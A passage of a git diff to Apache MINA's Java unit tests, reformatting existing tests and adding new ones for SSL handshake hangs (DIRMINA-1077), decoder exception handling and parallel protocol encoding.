System.out.println("threadsBefore = " + threadsBefore); - System.out.println("threadsAfter = " + threadsAfter); + System.out.println("threadsBefore = " + threadsBefore); + System.out.println("threadsAfter = " + threadsAfter); - // Assert.assertEquals(threadsBefore, threadsAfter); + // Assert.assertEquals(threadsBefore, threadsAfter); - } + } + public static class ClientHandler extends IoHandlerAdapter { - public static class ClientHandler extends IoHandlerAdapter { + private static final Logger LOGGER = LoggerFactory.getLogger("CLIENT"); - private static final Logger LOGGER = LoggerFactory.getLogger("CLIENT"); + @Override + public void sessionCreated(IoSession session) throws Exception { + session.setAttribute("latch", new CountDownLatch(1)); + } - @Override - public void sessionCreated(IoSession session) throws Exception { - session.setAttribute("latch", new CountDownLatch(1)); - } + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + LOGGER.info("client: messageReceived(" + session + ", " + message + ")"); + CountDownLatch latch = (CountDownLatch) session.getAttribute("latch"); + latch.countDown(); + } - @Override - public void messageReceived(IoSession session, Object message) throws Exception { - LOGGER.info("client: messageReceived("+session+", "+message+")"); - CountDownLatch latch = (CountDownLatch) session.getAttribute("latch"); - latch.countDown(); + @Override + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { + LOGGER.warn("exceptionCaught:", cause); + } } - @Override - public void exceptionCaught(IoSession session, Throwable cause) throws Exception { - LOGGER.warn("exceptionCaught:", cause); - } - } + public static class ServerHandler extends IoHandlerAdapter { - public static class ServerHandler extends IoHandlerAdapter { + private static final Logger LOGGER = LoggerFactory.getLogger("SERVER"); - private static final Logger LOGGER = LoggerFactory.getLogger("SERVER"); + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + LOGGER.info("server: messageReceived(" + session + ", " + message + ")"); + session.write(message.toString()); + } + + @Override + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { + LOGGER.warn("exceptionCaught:", cause); + } - @Override - public void messageReceived(IoSession session, Object message) throws Exception { - LOGGER.info("server: messageReceived("+session+", "+message+")"); - session.write(message.toString()); } - @Override - public void exceptionCaught(IoSession session, Throwable cause) throws Exception { - LOGGER.warn("exceptionCaught:", cause); + public static void main(String[] args) throws IOException, InterruptedException { + new AbstractIoServiceTest().testDispose(); } - } - - public static void main(String[] args) throws IOException, InterruptedException { - new AbstractIoServiceTest().testDispose(); - } - - private List getThreadNames() { - List list = new ArrayList(); - int active = Thread.activeCount(); - Thread[] threads = new Thread[active]; - Thread.enumerate(threads); - for (Thread thread : threads) { - try { - String name = thread.getName(); - list.add(name); - } catch (NullPointerException ignore) { - } - } - return list; - } + private List getThreadNames() { + List list = new ArrayList<>(); + int active = Thread.activeCount(); + Thread[] threads = new Thread[active]; + Thread.enumerate(threads); + for (Thread thread : threads) { + try { + String name = thread.getName(); + list.add(name); + } catch (NullPointerException ignore) { + } + } + return list; + } } diff --git a/mina-core/src/test/java/org/apache/mina/core/service/SSLTestHandshakeExceptionDIRMINA1077Test.java b/mina-core/src/test/java/org/apache/mina/core/service/SSLTestHandshakeExceptionDIRMINA1077Test.java new file mode 100644 index 0000000000..157e5a2e30 --- /dev/null +++ b/mina-core/src/test/java/org/apache/mina/core/service/SSLTestHandshakeExceptionDIRMINA1077Test.java @@ -0,0 +1,191 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +package org.apache.mina.core.service; + +import static org.junit.Assert.fail; + +import java.io.IOException; +import java.net.InetAddress; +import java.net.InetSocketAddress; +import java.net.SocketAddress; +import java.security.GeneralSecurityException; +import java.security.KeyStore; +import java.security.Security; +import java.util.concurrent.CountDownLatch; + +import javax.net.ssl.KeyManagerFactory; +import javax.net.ssl.SSLContext; +import javax.net.ssl.TrustManagerFactory; + +import org.apache.mina.core.filterchain.DefaultIoFilterChainBuilder; +import org.apache.mina.core.future.ConnectFuture; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolCodecFilter; +import org.apache.mina.filter.codec.textline.TextLineCodecFactory; +import org.apache.mina.filter.ssl.SslFilter; +import org.apache.mina.transport.socket.nio.NioSocketAcceptor; +import org.apache.mina.transport.socket.nio.NioSocketConnector; +import org.apache.mina.util.AvailablePortFinder; +import org.junit.Ignore; +import org.junit.Test; + +/** + * Test a SSL session and provoke HandshakeException. + * This test should not hang or timeout when DIRMINA-1076/1077 is fixed. + * + * @author chrjohn + */ +public class SSLTestHandshakeExceptionDIRMINA1077Test { + private int port = AvailablePortFinder.getNextAvailable(); + private static InetAddress address; + private static NioSocketAcceptor acceptor; + + /** A JVM independant KEY_MANAGER_FACTORY algorithm */ + private static final String KEY_MANAGER_FACTORY_ALGORITHM; + + static { + String algorithm = Security.getProperty("ssl.KeyManagerFactory.algorithm"); + if (algorithm == null) { + algorithm = KeyManagerFactory.getDefaultAlgorithm(); + } + + KEY_MANAGER_FACTORY_ALGORITHM = algorithm; + } + + + private static class TestHandler extends IoHandlerAdapter { + public void messageReceived(IoSession session, Object message) throws Exception {} + + @Override + public void exceptionCaught( IoSession session, Throwable cause ) + throws Exception {} + } + + /** + * Starts a Server with the SSL Filter and a simple text line + * protocol codec filter + */ + private void startServer(int port) throws Exception { + acceptor = new NioSocketAcceptor(); + + acceptor.setReuseAddress(true); + DefaultIoFilterChainBuilder filters = acceptor.getFilterChain(); + + // Inject the SSL filter + SslFilter sslFilter = new SslFilter(createSSLContext(true)); + filters.addLast("sslFilter", sslFilter); + sslFilter.setNeedClientAuth(true); + + // Inject the TestLine codec filter + filters.addLast("text", new ProtocolCodecFilter(new TextLineCodecFactory())); + + acceptor.setHandler(new TestHandler()); + acceptor.bind(new InetSocketAddress(port)); + } + + private static void stopServer() { + acceptor.dispose(true); + } + + private void startAndStopClient( int port, CountDownLatch disposalLatch ) throws Exception { + NioSocketConnector nioSocketConnector = new NioSocketConnector(); + nioSocketConnector.setHandler(new TestHandler()); + DefaultIoFilterChainBuilder filters = nioSocketConnector.getFilterChain(); + + // Inject the SSL filter + SslFilter sslFilter = new SslFilter(createSSLContext(false)); + filters.addLast("sslFilter", sslFilter); + + address = InetAddress.getByName("localhost"); + SocketAddress remoteAddress = new InetSocketAddress( address, port ); + ConnectFuture connect = nioSocketConnector.connect( remoteAddress ); + connect.awaitUninterruptibly(); +// System.out.println( "Closing connection..." ); + nioSocketConnector.dispose( true ); + disposalLatch.countDown(); +// System.out.println( "Connection closed!" ); + } + + private static SSLContext createSSLContext(boolean emptyKeystore) throws IOException, GeneralSecurityException { + char[] passphrase = "password".toCharArray(); + + SSLContext ctx = SSLContext.getInstance("TLSv1.2"); + KeyManagerFactory kmf = KeyManagerFactory.getInstance(KEY_MANAGER_FACTORY_ALGORITHM); + TrustManagerFactory tmf = TrustManagerFactory.getInstance(KEY_MANAGER_FACTORY_ALGORITHM); + + KeyStore ks = KeyStore.getInstance("JKS"); + KeyStore ts = KeyStore.getInstance("JKS"); + + // use empty keystore to provoke handshake exception + if (emptyKeystore) { + ks.load(SSLTestHandshakeExceptionDIRMINA1077Test.class.getResourceAsStream("emptykeystore.sslTest"), passphrase); + } else { + ks.load(SSLTestHandshakeExceptionDIRMINA1077Test.class.getResourceAsStream("keystore.sslTest"), passphrase); + } + ts.load(SSLTestHandshakeExceptionDIRMINA1077Test.class.getResourceAsStream("truststore.sslTest"), passphrase); + + kmf.init(ks, passphrase); + tmf.init(ts); + + ctx.init(kmf.getKeyManagers(), tmf.getTrustManagers(), null); + + return ctx; + } + + @Test(timeout=15000) + @Ignore + public void testSSL() throws Exception { + long startTime = System.currentTimeMillis(); + // without DIRMINA-1076/1077 fixed, the test will hang after short time + while (System.currentTimeMillis() < startTime + 10000) { + try { + port = AvailablePortFinder.getNextAvailable(); + final CountDownLatch disposalLatch = new CountDownLatch( 1 ); + startServer(port); + + Thread t = new Thread() { + public void run() { + try { + startAndStopClient(port, disposalLatch); + } catch ( Exception e ) {} + } + }; + t.setDaemon( true ); + t.start(); + disposalLatch.await(); + t.join( 1000 ); + + if ( t.isAlive() ) { + for ( StackTraceElement stackTraceElement : t.getStackTrace() ) { + if ( "dispose".equals( stackTraceElement.getMethodName() ) + && AbstractIoService.class.getCanonicalName() + .equals( stackTraceElement.getClassName() ) ) { + System.err.println( "Detected hang in AbstractIoService.dispose()!" ); + } + } + fail( "Thread should have died by now, supposed hang in AbstractIoService.dispose()" ); + } + } finally { + stopServer(); + } + } + } +} diff --git a/mina-core/src/test/java/org/apache/mina/filter/buffer/BufferedWriteFilterTest.java b/mina-core/src/test/java/org/apache/mina/filter/buffer/BufferedWriteFilterTest.java index 5439af5be9..663c5d28d1 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/buffer/BufferedWriteFilterTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/buffer/BufferedWriteFilterTest.java @@ -38,8 +38,7 @@ * @since MINA 2.0.0-M2 */ public class BufferedWriteFilterTest { - static final Logger LOGGER = LoggerFactory - .getLogger(BufferedWriteFilterTest.class); + static final Logger LOGGER = LoggerFactory.getLogger(BufferedWriteFilterTest.class); @Test public void testNonExpandableBuffer() throws Exception { @@ -55,16 +54,21 @@ public void testBasicBuffering() { private int counter; @Override - public void filterClose(NextFilter nextFilter, IoSession session) - throws Exception { - LOGGER.debug("Filter closed !"); + public void filterClose(NextFilter nextFilter, IoSession session) throws Exception { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Filter closed !"); + } + assertEquals(3, counter); } @Override - public void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { - LOGGER.debug("New buffered message written !"); + public void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) + throws Exception { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("New buffered message written !"); + } + counter++; try { IoBuffer buf = (IoBuffer) writeRequest.getMessage(); @@ -96,10 +100,10 @@ public void filterWrite(NextFilter nextFilter, IoSession session, data.put((byte) 0); data.flip(); sess.write(data); - + // Flush the final byte bFilter.flush(sess); - - sess.close(true); + + sess.closeNow(); } } \ No newline at end of file diff --git a/mina-core/src/test/java/org/apache/mina/filter/codec/CumulativeProtocolDecoderTest.java b/mina-core/src/test/java/org/apache/mina/filter/codec/CumulativeProtocolDecoderTest.java index c8e9278a50..602a3c0f20 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/codec/CumulativeProtocolDecoderTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/codec/CumulativeProtocolDecoderTest.java @@ -25,8 +25,6 @@ import static org.junit.Assert.fail; import java.net.SocketAddress; -import java.util.ArrayList; -import java.util.List; import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.service.DefaultTransportMetadata; @@ -36,7 +34,6 @@ import org.junit.Before; import org.junit.Test; - /** * Tests {@link CumulativeProtocolDecoder}. * @@ -46,16 +43,15 @@ public class CumulativeProtocolDecoderTest { private final ProtocolCodecSession session = new ProtocolCodecSession(); private IoBuffer buf; + private IntegerDecoder decoder; @Before public void setUp() throws Exception { buf = IoBuffer.allocate(16); decoder = new IntegerDecoder(); - session.setTransportMetadata( - new DefaultTransportMetadata( - "mina", "dummy", false, true, SocketAddress.class, - IoSessionConfig.class, IoBuffer.class)); + session.setTransportMetadata(new DefaultTransportMetadata("mina", "dummy", false, true, SocketAddress.class, + IoSessionConfig.class, IoBuffer.class)); } @After @@ -95,10 +91,8 @@ public void testRepeatitiveDecode() throws Exception { assertEquals(4, session.getDecoderOutputQueue().size()); assertEquals(buf.limit(), buf.position()); - List expected = new ArrayList(); - for (int i = 0; i < 4; i++) { - assertTrue( session.getDecoderOutputQueue().contains(i)); + assertTrue(session.getDecoderOutputQueue().contains(i)); } } @@ -111,13 +105,13 @@ public void testWrongImplementationDetection() throws Exception { // OK } } - + @Test public void testBufferDerivation() throws Exception { decoder = new DuplicatingIntegerDecoder(); - + buf.putInt(1); - + // Put some extra byte to make the decoder create an internal buffer. buf.put((byte) 0); buf.flip(); @@ -134,14 +128,14 @@ public void testBufferDerivation() throws Exception { // Consequently, CumulativeProtocolDecoder will perform // reallocation to avoid putting incoming data into // the internal buffer with auto-expansion disabled. - for (int i = 2; i < 10; i ++) { + for (int i = 2; i < 10; i++) { buf.clear(); buf.putInt(i); // Put some extra byte to make the decoder keep the internal buffer. buf.put((byte) 0); buf.flip(); buf.position(1); - + decoder.decode(session, buf, session.getDecoderOutput()); assertEquals(1, session.getDecoderOutputQueue().size()); assertEquals(i, session.getDecoderOutputQueue().poll()); @@ -149,6 +143,49 @@ public void testBufferDerivation() throws Exception { } } + @Test + public void testDecoderExceptionDiscardsSessionBuffer() throws Exception { + FaultyIntegerDecoder faultyDecoder = new FaultyIntegerDecoder(); + + // First chunk: an incomplete integer, stored in the session buffer. + buf.putShort((short) 0); + buf.flip(); + faultyDecoder.decode(session, buf, session.getDecoderOutput()); + assertEquals(0, session.getDecoderOutputQueue().size()); + + // Second chunk: completes integer 1 (decoded and delivered), then + // the poisoned integer 0xBAD that makes doDecode() throw after the + // first message was already delivered. + buf.clear(); + buf.putShort((short) 1); + buf.putInt(0xBAD); + buf.flip(); + + try { + faultyDecoder.decode(session, buf, session.getDecoderOutput()); + fail("The poisoned integer should have made the decoder throw"); + } catch (ProtocolDecoderException e) { + // OK + } + + assertEquals(1, session.getDecoderOutputQueue().size()); + assertEquals(1, session.getDecoderOutputQueue().poll()); + + // Further data must NOT re-deliver integer 1: the cumulative buffer + // was left flipped by the exception and must have been discarded, + // not replayed on the next decode. + buf.clear(); + buf.putInt(7); + buf.flip(); + faultyDecoder.decode(session, buf, session.getDecoderOutput()); + + assertEquals(1, session.getDecoderOutputQueue().size()); + assertEquals(7, session.getDecoderOutputQueue().poll()); + + faultyDecoder.dispose(session); + } + + private static class IntegerDecoder extends CumulativeProtocolDecoder { /** * Default constructor @@ -156,12 +193,11 @@ private static class IntegerDecoder extends CumulativeProtocolDecoder { public IntegerDecoder() { super(); } - + @Override - protected boolean doDecode(IoSession session, IoBuffer in, - ProtocolDecoderOutput out) throws Exception { + protected boolean doDecode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { assertTrue(in.hasRemaining()); - + if (in.remaining() < 4) { return false; } @@ -169,12 +205,33 @@ protected boolean doDecode(IoSession session, IoBuffer in, out.write(new Integer(in.getInt())); return true; } + } - public void dispose() throws Exception { - // Do nothing + private static class FaultyIntegerDecoder extends CumulativeProtocolDecoder { + /** + * Default constructor + */ + public FaultyIntegerDecoder() { + super(); + } + + @Override + protected boolean doDecode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { + if (in.remaining() < 4) { + return false; + } + + int value = in.getInt(); + + if (value == 0xBAD) { + throw new ProtocolDecoderException("poisoned integer"); + } + + out.write(value); + return true; } } - + private static class WrongDecoder extends CumulativeProtocolDecoder { /** * Default constructor @@ -182,16 +239,11 @@ private static class WrongDecoder extends CumulativeProtocolDecoder { public WrongDecoder() { super(); } - + @Override - protected boolean doDecode(IoSession session, IoBuffer in, - ProtocolDecoderOutput out) throws Exception { + protected boolean doDecode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { return true; } - - public void dispose() throws Exception { - // Do nothing - } } private static class DuplicatingIntegerDecoder extends IntegerDecoder { @@ -201,17 +253,12 @@ private static class DuplicatingIntegerDecoder extends IntegerDecoder { public DuplicatingIntegerDecoder() { super(); } - + @Override - protected boolean doDecode(IoSession session, IoBuffer in, - ProtocolDecoderOutput out) throws Exception { + protected boolean doDecode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { in.duplicate(); // Will disable auto-expansion. assertFalse(in.isAutoExpand()); return super.doDecode(session, in, out); } - - public void dispose() throws Exception { - // Do nothing - } } } diff --git a/mina-core/src/test/java/org/apache/mina/filter/codec/DemuxingProtocolDecoderBugTest.java b/mina-core/src/test/java/org/apache/mina/filter/codec/DemuxingProtocolDecoderBugTest.java index 9a77285f92..958b24ee77 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/codec/DemuxingProtocolDecoderBugTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/codec/DemuxingProtocolDecoderBugTest.java @@ -35,18 +35,15 @@ import java.net.InetSocketAddress; import java.nio.charset.Charset; - /** * Simple Unit Test showing that the DemuxingProtocolDecoder has * inconsistent behavior if used with a non fragmented transport. * * @author Apache MINA Project */ -public class DemuxingProtocolDecoderBugTest -{ +public class DemuxingProtocolDecoderBugTest { - private static void doTest(IoSession session) throws Exception - { + private static void doTest(IoSession session) throws Exception { ProtocolDecoderOutput mock = EasyMock.createMock(ProtocolDecoderOutput.class); mock.write(Character.valueOf('A')); mock.write(Character.valueOf('B')); @@ -63,72 +60,55 @@ private static void doTest(IoSession session) throws Exception decoder.addMessageDecoder(CharacterMessageDecoder.class); decoder.addMessageDecoder(IntegerMessageDecoder.class); - decoder.decode(session,buffer,mock); + decoder.decode(session, buffer, mock); EasyMock.verify(mock); } - public static class CharacterMessageDecoder extends MessageDecoderAdapter - { - public MessageDecoderResult decodable(IoSession session, IoBuffer in) - { - return Character.isDigit((char)in.get()) - ? MessageDecoderResult.NOT_OK - : MessageDecoderResult.OK; + public static class CharacterMessageDecoder extends MessageDecoderAdapter { + public MessageDecoderResult decodable(IoSession session, IoBuffer in) { + return Character.isDigit((char) in.get()) ? MessageDecoderResult.NOT_OK : MessageDecoderResult.OK; } - public MessageDecoderResult decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception - { - out.write(Character.valueOf((char)in.get())); + public MessageDecoderResult decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { + out.write(Character.valueOf((char) in.get())); return MessageDecoderResult.OK; } } - public static class IntegerMessageDecoder extends MessageDecoderAdapter - { - public MessageDecoderResult decodable(IoSession session, IoBuffer in) - { - return Character.isDigit((char)in.get()) - ? MessageDecoderResult.OK - : MessageDecoderResult.NOT_OK; + public static class IntegerMessageDecoder extends MessageDecoderAdapter { + public MessageDecoderResult decodable(IoSession session, IoBuffer in) { + return Character.isDigit((char) in.get()) ? MessageDecoderResult.OK : MessageDecoderResult.NOT_OK; } - public MessageDecoderResult decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception - { - out.write(Integer.parseInt("" + (char)in.get())); + public MessageDecoderResult decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { + out.write(Integer.parseInt("" + (char) in.get())); return MessageDecoderResult.OK; } } - private static class SessionStub extends DummySession - { - public SessionStub(boolean fragmented) - { - setTransportMetadata( - new DefaultTransportMetadata( - "nio", "socket", false, fragmented, - InetSocketAddress.class, - SocketSessionConfig.class, - IoBuffer.class, FileRegion.class) - ); + private static class SessionStub extends DummySession { + public SessionStub(boolean fragmented) { + setTransportMetadata(new DefaultTransportMetadata("nio", "socket", false, fragmented, + InetSocketAddress.class, SocketSessionConfig.class, IoBuffer.class, FileRegion.class)); } } /** * Test a decoding with fragmentation + * @throws Exception If the test failed */ @Test - public void testFragmentedTransport() throws Exception - { + public void testFragmentedTransport() throws Exception { doTest(new SessionStub(true)); } /** * Test a decoding without fragmentation + * @throws Exception If the test failed */ @Test - public void testNonFragmentedTransport() throws Exception - { + public void testNonFragmentedTransport() throws Exception { doTest(new SessionStub(false)); } } diff --git a/mina-core/src/test/java/org/apache/mina/filter/codec/ParallelProtocolEncoderTest.java b/mina-core/src/test/java/org/apache/mina/filter/codec/ParallelProtocolEncoderTest.java new file mode 100644 index 0000000000..7ed0e886d5 --- /dev/null +++ b/mina-core/src/test/java/org/apache/mina/filter/codec/ParallelProtocolEncoderTest.java @@ -0,0 +1,203 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter.codec; + +import static org.junit.Assert.assertTrue; + +import java.net.InetSocketAddress; +import java.util.HashSet; +import java.util.Set; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.atomic.AtomicInteger; + +import org.apache.log4j.LogManager; +import org.apache.log4j.Logger; +import org.apache.mina.core.future.ConnectFuture; +import org.apache.mina.core.future.IoFutureListener; +import org.apache.mina.core.future.WriteFuture; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory; +import org.apache.mina.filter.codec.textline.TextLineCodecFactory; +import org.apache.mina.transport.socket.nio.NioSocketAcceptor; +import org.apache.mina.transport.socket.nio.NioSocketConnector; +import org.junit.Test; + +public class ParallelProtocolEncoderTest { + private NioSocketConnector connector = null; + private NioSocketAcceptor acceptor = null; + private static int LOOP = 1000; + private static int THREAD = 3; + + private static Logger logger = LogManager.getLogger(ParallelProtocolEncoderTest.class); + private static ExecutorService executorService = Executors.newFixedThreadPool(THREAD); + + @Test + public void missingMessageTest() throws Exception { + String host = "localhost"; + int port = 28_000; + + // server + acceptor = new NioSocketAcceptor(); + acceptor.getFilterChain().addFirst("codec", new ProtocolCodecFilter(new ObjectSerializationCodecFactory())); + ServerHandler serverHandler = new ServerHandler(); + acceptor.setHandler(serverHandler); + acceptor.bind(new InetSocketAddress(host, port)); + + // client + connector = new NioSocketConnector(1); + connector.getFilterChain().addLast("codec", new ProtocolCodecFilter(new ObjectSerializationCodecFactory())); + ClientHandler clientHandler = new ClientHandler(); + connector.setHandler(clientHandler); + ConnectFuture connectFuture = connector.connect(new InetSocketAddress(host, 28_000)); + connectFuture.awaitUninterruptibly(); + + final IoSession ioSession = connectFuture.getSession(); + + logger.info("missingMessageTest.begin with " + LOOP + " messages and " + THREAD + " threads"); + + for (int i = 1; i <= LOOP; i++) { + final String message = "Message:" + i; + executorService.submit(new Runnable() { + + @Override + public void run() { + + logger.info("missingMessageTest.client.write "+message); + + final WriteFuture future = ioSession.write(message); + if (future != null) { + future.addListener(new IoFutureListener() { + @Override + public void operationComplete(WriteFuture writeFuture) { + if (!future.isWritten()) { + logger.error("writeFuture: " + writeFuture.getException()); + } + } + }); + } + } + }); + + } + logger.info("missingMessageTest.end"); + + int maxSleep = 5_000; + int time = 1000; + int sleep = 0; + while ((!clientHandler.isFinished() || !serverHandler.isFinished()) && maxSleep > sleep) { + sleep += time; + logger.info("missingMessageTest.sleep... " + sleep); + Thread.sleep(time); + } + + logger.info("missingMessageTest.close"); + + ioSession.closeNow(); + connector.dispose(); + acceptor.dispose(); + + if (!serverHandler.isFinished()) { + Set missingMessages = clientHandler.getMessages(); + missingMessages.removeAll(serverHandler.getMessages()); + logger.error("missing <" + missingMessages.size() + "> messages : " + missingMessages); + } + + assertTrue(serverHandler.isFinished()); + assertTrue(clientHandler.isFinished()); + } + + private static class ServerHandler extends IoHandlerAdapter { + private Set messages = new HashSet<>(LOOP); + private AtomicInteger count = new AtomicInteger(0); + + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + + String messageString = (String) message; + count.incrementAndGet(); + + if (messages.contains(messageString)) { + logger.error("messageReceived: message <" + messageString + "> already received"); + } + messages.add(messageString); + + // logger.info("messageReceived: <"+message+">, count="+count); + + if (isFinished()) { + logger.info("messageReceived: finish"); + } + + super.messageReceived(session, message); + } + + public boolean isFinished() { + return count.get() == LOOP; + } + + /** + * Get the messages. + * + * @return the messages + */ + public Set getMessages() { + return messages; + } + } + + private static class ClientHandler extends IoHandlerAdapter { + private Set messages = new HashSet<>(LOOP); + private AtomicInteger count = new AtomicInteger(0); + + @Override + public void messageSent(IoSession session, Object message) throws Exception { + + logger.info("messageSent " + message); + + count.incrementAndGet(); + String messageString = (String) message; + if (messages.contains(messageString)) { + logger.error("messageSent: message <" + messageString + "> already sent"); + } + messages.add(messageString); + + // logger.info("messageSent: <"+message+">, count="+count); + + if (isFinished()) { + logger.info("messageSent: finish"); + } + super.messageSent(session, message); + } + + public boolean isFinished() { + return count.get() == LOOP; + } + + /** + * Get the messages. + * + * @return the messages + */ + public Set getMessages() { + return messages; + } + } +} diff --git a/mina-core/src/test/java/org/apache/mina/filter/codec/serialization/ObjectSerializationTest.java b/mina-core/src/test/java/org/apache/mina/filter/codec/serialization/ObjectSerializationTest.java index f614036585..4037b3bea8 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/codec/serialization/ObjectSerializationTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/codec/serialization/ObjectSerializationTest.java @@ -58,20 +58,18 @@ public void testOutputStream() throws Exception { final String expected = "1234"; ByteArrayOutputStream baos = new ByteArrayOutputStream(); - ObjectSerializationOutputStream osos = new ObjectSerializationOutputStream( - baos); + ObjectSerializationOutputStream osos = new ObjectSerializationOutputStream(baos); osos.writeObject(expected); osos.flush(); testDecoderAndInputStream(expected, IoBuffer.wrap(baos.toByteArray())); + osos.close(); } - private void testDecoderAndInputStream(String expected, IoBuffer in) - throws Exception { + private void testDecoderAndInputStream(String expected, IoBuffer in) throws Exception { // Test InputStream - ObjectSerializationInputStream osis = new ObjectSerializationInputStream( - in.duplicate().asInputStream()); + ObjectSerializationInputStream osis = new ObjectSerializationInputStream(in.duplicate().asInputStream()); Object actual = osis.readObject(); assertEquals(expected, actual); @@ -84,5 +82,6 @@ private void testDecoderAndInputStream(String expected, IoBuffer in) assertEquals(1, session.getDecoderOutputQueue().size()); assertEquals(expected, session.getDecoderOutputQueue().poll()); + osis.close(); } } diff --git a/mina-core/src/test/java/org/apache/mina/filter/codec/textline/TextLineDecoderTest.java b/mina-core/src/test/java/org/apache/mina/filter/codec/textline/TextLineDecoderTest.java index 10fef7d04b..e37fb42531 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/codec/textline/TextLineDecoderTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/codec/textline/TextLineDecoderTest.java @@ -25,6 +25,7 @@ import java.nio.charset.Charset; import java.nio.charset.CharsetEncoder; +import java.nio.charset.StandardCharsets; import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.filter.codec.ProtocolCodecSession; @@ -32,7 +33,6 @@ import org.apache.mina.filter.codec.RecoverableProtocolDecoderException; import org.junit.Test; - /** * Tests {@link TextLineDecoder}. * @@ -41,10 +41,9 @@ public class TextLineDecoderTest { @Test public void testNormalDecode() throws Exception { - TextLineDecoder decoder = new TextLineDecoder(Charset.forName("UTF-8"), - LineDelimiter.WINDOWS); + TextLineDecoder decoder = new TextLineDecoder(StandardCharsets.UTF_8, LineDelimiter.WINDOWS); - CharsetEncoder encoder = Charset.forName("UTF-8").newEncoder(); + CharsetEncoder encoder = StandardCharsets.UTF_8.newEncoder(); ProtocolCodecSession session = new ProtocolCodecSession(); ProtocolDecoderOutput out = session.getDecoderOutput(); IoBuffer in = IoBuffer.allocate(16); @@ -87,8 +86,7 @@ public void testNormalDecode() throws Exception { assertEquals("ABC\r", session.getDecoderOutputQueue().poll()); // Test splitted long delimiter - decoder = new TextLineDecoder(Charset.forName("UTF-8"), - new LineDelimiter("\n\n\n")); + decoder = new TextLineDecoder(StandardCharsets.UTF_8, new LineDelimiter("\n\n\n")); in.clear(); in.putString("PQR\n", encoder); in.flip(); @@ -107,8 +105,7 @@ public void testNormalDecode() throws Exception { assertEquals("PQR", session.getDecoderOutputQueue().poll()); // Test splitted long delimiter which produces two output - decoder = new TextLineDecoder(Charset.forName("UTF-8"), - new LineDelimiter("\n\n\n")); + decoder = new TextLineDecoder(StandardCharsets.UTF_8, new LineDelimiter("\n\n\n")); in.clear(); in.putString("PQR\n", encoder); in.flip(); @@ -123,13 +120,12 @@ public void testNormalDecode() throws Exception { in.putString("\nSTU\n\n\n", encoder); in.flip(); decoder.decode(session, in, out); - assertEquals(2,session.getDecoderOutputQueue().size()); + assertEquals(2, session.getDecoderOutputQueue().size()); assertEquals("PQR", session.getDecoderOutputQueue().poll()); assertEquals("STU", session.getDecoderOutputQueue().poll()); // Test splitted long delimiter mixed with partial non-delimiter. - decoder = new TextLineDecoder(Charset.forName("UTF-8"), - new LineDelimiter("\n\n\n")); + decoder = new TextLineDecoder(StandardCharsets.UTF_8, new LineDelimiter("\n\n\n")); in.clear(); in.putString("PQR\n", encoder); in.flip(); @@ -150,10 +146,9 @@ public void testNormalDecode() throws Exception { } public void testAutoDecode() throws Exception { - TextLineDecoder decoder = new TextLineDecoder(Charset.forName("UTF-8"), - LineDelimiter.AUTO); + TextLineDecoder decoder = new TextLineDecoder(StandardCharsets.UTF_8, LineDelimiter.AUTO); - CharsetEncoder encoder = Charset.forName("UTF-8").newEncoder(); + CharsetEncoder encoder = StandardCharsets.UTF_8.newEncoder(); ProtocolCodecSession session = new ProtocolCodecSession(); ProtocolDecoderOutput out = session.getDecoderOutput(); IoBuffer in = IoBuffer.allocate(16); @@ -252,14 +247,21 @@ public void testAutoDecode() throws Exception { assertEquals(2, session.getDecoderOutputQueue().size()); assertEquals("PQR\rX", session.getDecoderOutputQueue().poll()); assertEquals("STU", session.getDecoderOutputQueue().poll()); + + in.clear(); + String s = new String(new byte[] { 0, 77, 105, 110, 97 }); + in.putString(s, 